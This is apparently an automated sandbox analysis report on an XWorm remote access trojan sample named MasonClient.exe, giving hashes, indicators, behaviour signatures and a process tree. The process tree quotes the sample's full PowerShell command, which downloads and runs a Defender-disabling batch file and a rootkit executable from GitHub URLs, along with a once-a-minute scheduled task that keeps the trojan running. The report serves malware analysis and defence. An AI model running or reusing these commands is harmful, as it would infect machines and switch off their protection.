Analysis

  • max time kernel
    144s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/03/2025, 07:46

General

  • Target

    MasonClient.exe

  • Size

    51KB

  • MD5

    98b0077862a1b5e9cfb7257a96abfbf2

  • SHA1

    c608b9257f5eb5c547875a38b27567ff1fd3fe44

  • SHA256

    0f4691e7c8b5f9bbd913c207f7d57f3b514e6adee47b32d57ebe0665632a8aac

  • SHA512

    0f80ea3b6e04af7dc96f085b318a0b8736dfc72a7d8ac73d86a31023f895be9c3e4cbbef00da507494c3e19a7c376661ed0b91cbf11aef5e1590e3b6c271a846

  • SSDEEP

    1536:IUIPbL8Z6az90D7h47T7baurM+/MbOTuL:IUIPHA6az903y7fbae/MbOiL

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe

exe.dropper

https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat

Extracted

Family

xworm

Attributes
  • install_file

    USB.exe

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\MasonClient.exe
    "C:\Users\Admin\AppData\Local\Temp\MasonClient.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1120
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2860
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "MasonClient" /tr "C:\Users\Admin\AppData\Roaming\MasonClient.exe"
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:2992
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" C:\Users\Admin\Desktop\TraceInvoke.docm
    1⤵
    • Enumerates system info in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1632
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff8458646f8,0x7ff845864708,0x7ff845864718
      2⤵
        PID:3524
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1948,6262062516685861519,7886867976925246132,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2076 /prefetch:2
        2⤵
          PID:4428
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1948,6262062516685861519,7886867976925246132,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:1644
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1948,6262062516685861519,7886867976925246132,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2828 /prefetch:8
          2⤵
            PID:4520
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1948,6262062516685861519,7886867976925246132,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3304 /prefetch:1
            2⤵
              PID:4968
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1948,6262062516685861519,7886867976925246132,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3356 /prefetch:1
              2⤵
                PID:760
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=1948,6262062516685861519,7886867976925246132,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=4584 /prefetch:8
                2⤵
                  PID:836
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1948,6262062516685861519,7886867976925246132,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4516 /prefetch:1
                  2⤵
                    PID:1316
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1948,6262062516685861519,7886867976925246132,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3260 /prefetch:8
                    2⤵
                    • Suspicious behavior: EnumeratesProcesses
                    PID:612
                  • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1948,6262062516685861519,7886867976925246132,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4872 /prefetch:8
                    2⤵
                      PID:2788
                    • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1948,6262062516685861519,7886867976925246132,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4872 /prefetch:8
                      2⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:3612
                  • C:\Windows\System32\CompPkgSrv.exe
                    C:\Windows\System32\CompPkgSrv.exe -Embedding
                    1⤵
                      PID:2720
                    • C:\Windows\System32\CompPkgSrv.exe
                      C:\Windows\System32\CompPkgSrv.exe -Embedding
                      1⤵
                        PID:1456
                      • C:\Users\Admin\AppData\Roaming\MasonClient.exe
                        C:\Users\Admin\AppData\Roaming\MasonClient.exe
                        1⤵
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1700
                      • C:\Users\Admin\AppData\Roaming\MasonClient.exe
                        C:\Users\Admin\AppData\Roaming\MasonClient.exe
                        1⤵
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3440
                      • C:\Users\Admin\AppData\Roaming\MasonClient.exe
                        C:\Users\Admin\AppData\Roaming\MasonClient.exe
                        1⤵
                        • Executes dropped EXE
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2112

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

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                      Downloads

                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\MasonClient.exe.log

                        Filesize

                        654B

                        MD5

                        2ff39f6c7249774be85fd60a8f9a245e

                        SHA1

                        684ff36b31aedc1e587c8496c02722c6698c1c4e

                        SHA256

                        e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

                        SHA512

                        1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                        Filesize

                        152B

                        MD5

                        3c6e13dc1762aa873320bed152204f3c

                        SHA1

                        38df427d38ca5ce6ce203490a9fb8461c7444e12

                        SHA256

                        5c441148843b7c8dbff4c4a72962a532aaf0bdd484d07a03dd9a32fd461b1371

                        SHA512

                        133054cb042e11013bfdad1bd11e3407d08cf26a66d0743bea9708d261aa904a1047bb0097b187ecf8436cb6cff3bec28c89e435862cad0e0fa264799556b70c

                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                        Filesize

                        152B

                        MD5

                        f5da507c2059b715761792e7106405f0

                        SHA1

                        a277fd608467c5a666cf4a4a3e16823b93c6777f

                        SHA256

                        8c1d99de087ac5f2e7b2afce66eff36a646bef46800c0c1d7737d6f0df74b7e8

                        SHA512

                        01c92729dd8061aa122b116a674c73bb78016f66d2cb8f7fb64907352758a825e87a1e345334386440699d2a6d1e17baccb400c5aee151eb64e64019cbebb870

                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                        Filesize

                        6KB

                        MD5

                        5a4a05cf69bf62eca101125dc07bc571

                        SHA1

                        78e4c4a4dd635db783ddca9987bfe14c995acf62

                        SHA256

                        55a68058730a9b4af34243ba846ef49e9a5b57132d9969539c2ee5f22cf140f5

                        SHA512

                        3f1a933c0c73b68956b8258f01c8accc212b1839b4a0b4d0b27d6b0374d74f2915973c6862d570180789c231cc9123c525e7b31164abe393a24c1a6fd693ebf7

                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                        Filesize

                        6KB

                        MD5

                        34342ca277f0d121a6530afa3ad985b3

                        SHA1

                        49ecd68f8171f467779035d619a98a6601efc28c

                        SHA256

                        1e38f6077281f991383ebf81ae83550f80440dc270b5bc3fca39f6e3346d79d2

                        SHA512

                        69c4d93c68f8adf906acea5a1b55c52cea87ecf226ca3ff62f44491fd80e14b897aff0816dd71a3757e5303f97eb366ae7cf0a54b2df70d4a0ca23f32116aaa2

                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                        Filesize

                        16B

                        MD5

                        6752a1d65b201c13b62ea44016eb221f

                        SHA1

                        58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                        SHA256

                        0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                        SHA512

                        9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                        Filesize

                        8KB

                        MD5

                        83de37260afa9a01d6ca0ae6adb570a1

                        SHA1

                        a4a75875fa09bc825c211d4129588cb9fdda653f

                        SHA256

                        6bfdc8f01951136f2aa8eead1077f54dc16f20c42db7a4a09e4924ea0c361abf

                        SHA512

                        849397891994a880571bccb4c1e0b1dcf83d52280867c49aaf759f82d416681da9b4569caeccc6314a999e71005a9dd044049e2824488f6c3e7fd26b0e73b39c

                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\ShaderCache\GPUCache\data_1

                        Filesize

                        264KB

                        MD5

                        f50f89a0a91564d0b8a211f8921aa7de

                        SHA1

                        112403a17dd69d5b9018b8cede023cb3b54eab7d

                        SHA256

                        b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

                        SHA512

                        bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

                      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_amv13wie.mdp.ps1

                        Filesize

                        60B

                        MD5

                        d17fe0a3f47be24a6453e9ef58c94641

                        SHA1

                        6ab83620379fc69f80c0242105ddffd7d98d5d9d

                        SHA256

                        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                        SHA512

                        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                      • C:\Users\Admin\AppData\Roaming\MasonClient.exe

                        Filesize

                        51KB

                        MD5

                        98b0077862a1b5e9cfb7257a96abfbf2

                        SHA1

                        c608b9257f5eb5c547875a38b27567ff1fd3fe44

                        SHA256

                        0f4691e7c8b5f9bbd913c207f7d57f3b514e6adee47b32d57ebe0665632a8aac

                        SHA512

                        0f80ea3b6e04af7dc96f085b318a0b8736dfc72a7d8ac73d86a31023f895be9c3e4cbbef00da507494c3e19a7c376661ed0b91cbf11aef5e1590e3b6c271a846

                      • memory/1120-135-0x00007FF84CCE0000-0x00007FF84D7A1000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/1120-0-0x00007FF84CCE3000-0x00007FF84CCE5000-memory.dmp

                        Filesize

                        8KB

                      • memory/1120-17-0x00007FF84CCE3000-0x00007FF84CCE5000-memory.dmp

                        Filesize

                        8KB

                      • memory/1120-139-0x00007FF84CCE0000-0x00007FF84D7A1000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/1120-1-0x0000000000650000-0x0000000000664000-memory.dmp

                        Filesize

                        80KB

                      • memory/2860-14-0x00007FF84CCE0000-0x00007FF84D7A1000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/2860-13-0x00000228D9AB0000-0x00000228D9AD2000-memory.dmp

                        Filesize

                        136KB

                      • memory/2860-44-0x00007FF84CCE0000-0x00007FF84D7A1000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/2860-8-0x00007FF84CCE0000-0x00007FF84D7A1000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/2860-15-0x00000228D9F90000-0x00000228DA152000-memory.dmp

                        Filesize

                        1.8MB

                      • memory/2860-2-0x00007FF84CCE0000-0x00007FF84D7A1000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/2860-133-0x00007FF84CCE0000-0x00007FF84D7A1000-memory.dmp

                        Filesize

                        10.8MB

                      • memory/2860-16-0x00000228DA690000-0x00000228DABB8000-memory.dmp

                        Filesize

                        5.2MB